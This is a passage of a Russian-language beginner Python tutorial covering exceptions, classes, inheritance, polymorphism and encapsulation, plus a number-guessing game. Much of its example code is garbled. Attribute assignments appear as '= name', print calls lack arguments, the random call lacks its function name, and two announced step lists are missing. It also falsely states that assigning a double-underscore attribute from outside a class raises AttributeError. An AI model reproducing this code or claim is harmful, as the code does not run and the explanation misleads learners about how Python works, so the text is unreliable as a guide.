Мы можем обрабатывать несколько исключений с помощью нескольких блоков except:

try:

f = open("", "r") # Попытка открыть несуществующий файл

content = f.read()

f.close()

except FileNotFoundError:

print("Файл не найден!")

except Exception as e:

print("Произошла ошибка:", e)

В этом примере мы обрабатываем исключение FileNotFoundError (файл не найден) и любое другое исключение с помощью блока except Exception.


Шаг 4: Используем Python-спасателя в своих программах

Обработка исключений - это очень важный навык, который позволяет нам делать наши программы более надежными и устойчивыми к ошибкам. Мы можем использовать конструкцию try-except для обработки любых исключений, которые могут возникнуть во время выполнения программы.


Домашнее задание

Напишите программу, которая будет запрашивать у пользователя число и делить на него другое число. Используйте обработку исключений, чтобы предотвратить деление на ноль.

Напишите программу, которая будет открывать файл, читать его содержимое и выводить на экран. Используйте обработку исключений, чтобы обработать ошибку, если файл не найден.

Попробуйте придумать свои примеры использования обработки исключений.





Урок 15: "ООП: как научить Python мыслить объектно"

Сегодня мы познакомимся с объектно-ориентированным программированием (ООП). ООП - это как научить Python мыслить не просто командами, а целыми объектами, у каждого из которых есть свои свойства и умения. Это как создать свою Python-вселенную, где каждый объект - это уникальный житель со своим характером и способностями.


Шаг 1: Знакомимся с Python-объектами

В мире ООП всё является объектами: числа, строки, списки, функции и даже сами программы. Объекты имеют свойства (атрибуты) и умения (методы). Например, строка "Привет" - это объект, у которого есть свойство "длина" (5 символов) и умение "превращаться в заглавные буквы" ("ПРИВЕТ").


Шаг 2: Создаем Python-классы

Чтобы создавать объекты, нам нужны классы. Класс - это как чертеж, по которому мы строим объекты. Например, мы можем создать класс "Человек", у которого будут свойства "имя", "возраст" и умение "говорить".

class Person:

def __init__(self, name, age):

= name

= age


def say_hello(self):

print("Привет, меня зовут " + + "!")

Метод __init__ - это конструктор класса. Он вызывается при создании нового объекта и устанавливает его свойства.


Шаг 3: Создаем Python-объекты

Теперь мы можем создавать объекты класса "Человек":

person1 = Person("Вася", 25)

person2 = Person("Петя", 30)

У каждого объекта есть свои свойства и умения, которые мы можем использовать:

print() # Выведет "Вася"

person2.say_hello() # Выведет "Привет, меня зовут Петя!"


Шаг 4: Преимущества Python-ООП

ООП делает наши программы более организованными, понятными и легкими в разработке. Мы можем создавать сложные системы, состоящие из множества объектов, каждый из которых выполняет свою роль.


Домашнее задание

Создайте класс "Автомобиль" со свойствами "марка", "модель", "год выпуска" и методом "ехать".

Создайте несколько объектов класса "Автомобиль" с разными свойствами.

Заставьте каждый автомобиль "ехать" и выведите на экран соответствующее сообщение.

В следующем уроке мы познакомимся с наследованием - механизмом, который позволяет нам создавать новые классы на основе уже существующих, добавляя им новые свойства и умения.





Урок 16: "Наследование: как передать Python-генам по наследству"

Сегодня мы познакомимся с наследованием. Наследование - это как передать Python-генам по наследству от одного класса к другому. Это как создать Python-ребенка, который будет обладать всеми умениями родителя, да еще и получит свои собственные уникальные способности.


Шаг 1: Создаем Python-родителя

Давайте создадим класс-родитель "Животное", у которого будут свойства "вид" и "кличка", а также умение "издавать звук":

class Animal:

def __init__(self, kind, name):

= kind

= name


def make_sound(self):

print("Какой-то звук")


Шаг 2: Создаем Python-ребенка

Теперь создадим класс-ребенок "Собака", который будет наследовать свойства и умения класса "Животное":

class Dog(Animal):

def __init__(self, name):

super().__init__("Собака", name)


def make_sound(self):

print("Гав-гав")

Мы использовали функцию super(), чтобы вызвать конструктор родительского класса и установить свойства "вид" и "кличка". Мы также переопределили метод make_sound(), чтобы собака издавала свой собственный звук.


Шаг 3: Проверяем Python-наследство

Теперь мы можем создать объект класса "Собака" и проверить, какие свойства и умения он унаследовал:

my_dog = Dog("Шарик")

print() # Выведет "Собака"

print() # Выведет "Шарик"

my_dog.make_sound() # Выведет "Гав-гав"

Как видите, собака унаследовала свойство "вид" и умение "издавать звук" от класса "Животное", но при этом она издает свой собственный звук.


Шаг 4: Преимущества Python-наследования

Наследование делает наши программы более гибкими и расширяемыми. Мы можем создавать новые классы на основе уже существующих, добавляя им новые свойства и умения, не изменяя исходный код.


Домашнее задание

Создайте класс "Птица" со свойствами "вид", "кличка", "цвет" и методом "летать".

Создайте класс "Попугай", который будет наследовать свойства и умения класса "Птица" и добавлять свойство "способность говорить".

Создайте несколько объектов класса "Попугай" с разными свойствами.

Заставьте каждого попугая "летать" и "говорить".





Урок 17: "Полиморфизм: как научить Python быть многоликим"

Сегодня мы познакомимся с полиморфизмом. Полиморфизм - это как способность Python принимать разные формы, как актёр, играющий разные роли. Это как научить Python быть многоликим, чтобы он мог выполнять разные действия в зависимости от ситуации.


Шаг 1: Создаем Python-актеров

Давайте создадим несколько классов-актеров, у каждого из которых будет свой метод "играть роль":

class Actor:

def play_role(self):

print("Играю роль")


class Comedian(Actor):

def play_role(self):

print("Играю комическую роль")


class DramaticActor(Actor):

def play_role(self):

print("Играю драматическую роль")


Шаг 2: Учим Python-актеров играть разные роли

Теперь мы можем создать объекты разных классов и заставить их играть свои роли:

actor = Actor()

comedian = Comedian()

dramatic_actor = DramaticActor()


actor.play_role() # Выведет "Играю роль"

comedian.play_role() # Выведет "Играю комическую роль"

dramatic_actor.play_role() # Выведет "Играю драматическую роль"

Как видите, каждый объект играет свою роль по-своему, хотя метод play_role() называется одинаково у всех классов.


Шаг 3: Используем Python-актеров в своих программах

Полиморфизм делает наши программы более гибкими и универсальными. Мы можем использовать объекты разных классов единообразно, не задумываясь о том, к какому именно классу они принадлежат.


Домашнее задание

Создайте класс "Фигура" с методом "рисовать".

Создайте классы "Квадрат", "Круг" и "Треугольник", которые будут наследовать класс "Фигура" и переопределять метод "рисовать".

Создайте список, состоящий из объектов разных классов-фигур.

В цикле вызовите метод "рисовать" для каждого объекта из списка.

И помните: Python - это как конструктор, из которого можно построить все, что угодно! Главное - не бояться экспериментировать и творить!

В следующем уроке мы познакомимся с инкапсуляцией - механизмом, который позволяет нам защищать данные объектов от случайного изменения.




Урок 18: "Инкапсуляция: как спрятать Python-секреты под надёжным замком"

Сегодня мы познакомимся с инкапсуляцией. Инкапсуляция - это как спрятать Python-секреты под надёжным замком, чтобы никто, кроме нас, не мог их изменить. Это как создать свою Python-крепость, где данные объектов будут в полной безопасности.


Шаг 1: Создаем Python-крепость

Давайте создадим класс "Банк", у которого будет свойство "баланс", которое мы хотим защитить от случайного изменения:

class Bank:

def __init__(self, balance):

self._balance = balance # _balance - защищенное свойство


def get_balance(self):

return self._balance


def deposit(self, amount):

self._balance += amount


def withdraw(self, amount):

if amount <= self._balance:

self._balance -= amount

else:

print("Недостаточно средств на счету")

Мы использовали символ _ перед именем свойства balance, чтобы показать, что это свойство защищено от прямого доступа извне класса.


Шаг 2: Пытаемся взломать Python-крепость

Давайте попробуем изменить баланс напрямую:

my_bank = Bank(100)

my_bank._balance = 1000 # Пытаемся изменить баланс напрямую

print(my_bank._balance) # Выведет 1000

Как видите, нам удалось изменить баланс напрямую, несмотря на то, что мы использовали защищенное имя свойства.


Шаг 3: Защищаем Python-крепость по-настоящему

На самом деле, символ _ - это всего лишь соглашение между программистами о том, что данное свойство не предназначено для прямого доступа извне класса. Python не запрещает нам изменять такие свойства напрямую.


Чтобы защитить свойство по-настоящему, нужно использовать двойное подчеркивание __ перед именем свойства:

class Bank:

def __init__(self, balance):

self.__balance = balance # __balance - приватное свойство


def get_balance(self):

return self.__balance


def deposit(self, amount):

self.__balance += amount


def withdraw(self, amount):

if amount <= self.__balance:

self.__balance -= amount

else:

print("Недостаточно средств на счету")

Теперь, если мы попытаемся изменить баланс напрямую, Python выдаст ошибку:

my_bank = Bank(100)

my_bank.__balance = 1000 # Вызовет ошибку AttributeError: 'Bank' object has no attribute '__balance'


Шаг 4: Преимущества Python-инкапсуляции

Инкапсуляция делает наши программы более безопасными и защищенными от случайного изменения данных. Мы можем контролировать доступ к свойствам объектов и гарантировать, что данные будут использоваться только так, как мы задумали.


Домашнее задание

Создайте класс "Автомобиль" со свойствами "марка", "модель", "год выпуска" и "пробег".

Защитите свойство "пробег" от случайного изменения извне класса.

Создайте методы для увеличения пробега и получения информации о пробеге.


Глава 6. Практика:

Отлично! Мы изучили много нового и интересного в Python. Давайте подытожим наши знания и создадим какой-нибудь интересный проект, который объединит всё, что мы узнали.

"Угадай число": игра для Python-новичков

Мы напишем игру, в которой компьютер будет загадывать случайное число, а пользователь должен будет его отгадать. Игра будет использовать циклы, условные операторы, функции и другие знания, которые мы получили на уроках.


Шаг 1: Задумываем Python-игру

Наша игра будет работать так:


Шаг 2: Пишем код Python-игры

import random


def guess_the_number():

secret_number = (1, 100)

attempts = 0


print("Добро пожаловать в игру 'Угадай число'!")

print("Я загадал число от 1 до 100. Попробуй отгадать!")


while True:

try:

guess = int(input("Ваша попытка: "))

attempts += 1


if guess < secret_number:

print("Загаданное число больше!")

elif guess > secret_number:

print("Загаданное число меньше!")

else:

print("Поздравляю! Вы угадали число за", attempts, "попыток!")

break

except ValueError:

print("Некорректный ввод. Пожалуйста, введите целое число.")


guess_the_number()


Шаг 3: Играем в Python-игру

Запустите код и наслаждайтесь игрой! Попробуйте отгадать число как можно быстрее и экономнее.


Шаг 4: Развиваем Python-игру

Вы можете улучшить игру, добавив в нее новые функции:

Домашнее задание

Попробуйте улучшить игру "Угадай число", добавив в нее новые функции.


Ну что, дождались конца? Давайте проверим, насколько хорошо вы знаете Python;) Сможете ли вы написать свой калькулятор на Python?

Заключение

Что ж, друзья, вот и подошло к концу наше увлекательное путешествие в мир Python! Надеюсь, что эта книга стала для вас надёжным проводником в этом удивительном мире программирования.

Мы с вами прошли долгий путь от самых основ, таких как "Hello, World!", до более сложных тем, таких как ООП и работа с библиотеками. Но это только начало нашего путешествия в удивительный мир программирования!

Загрузка...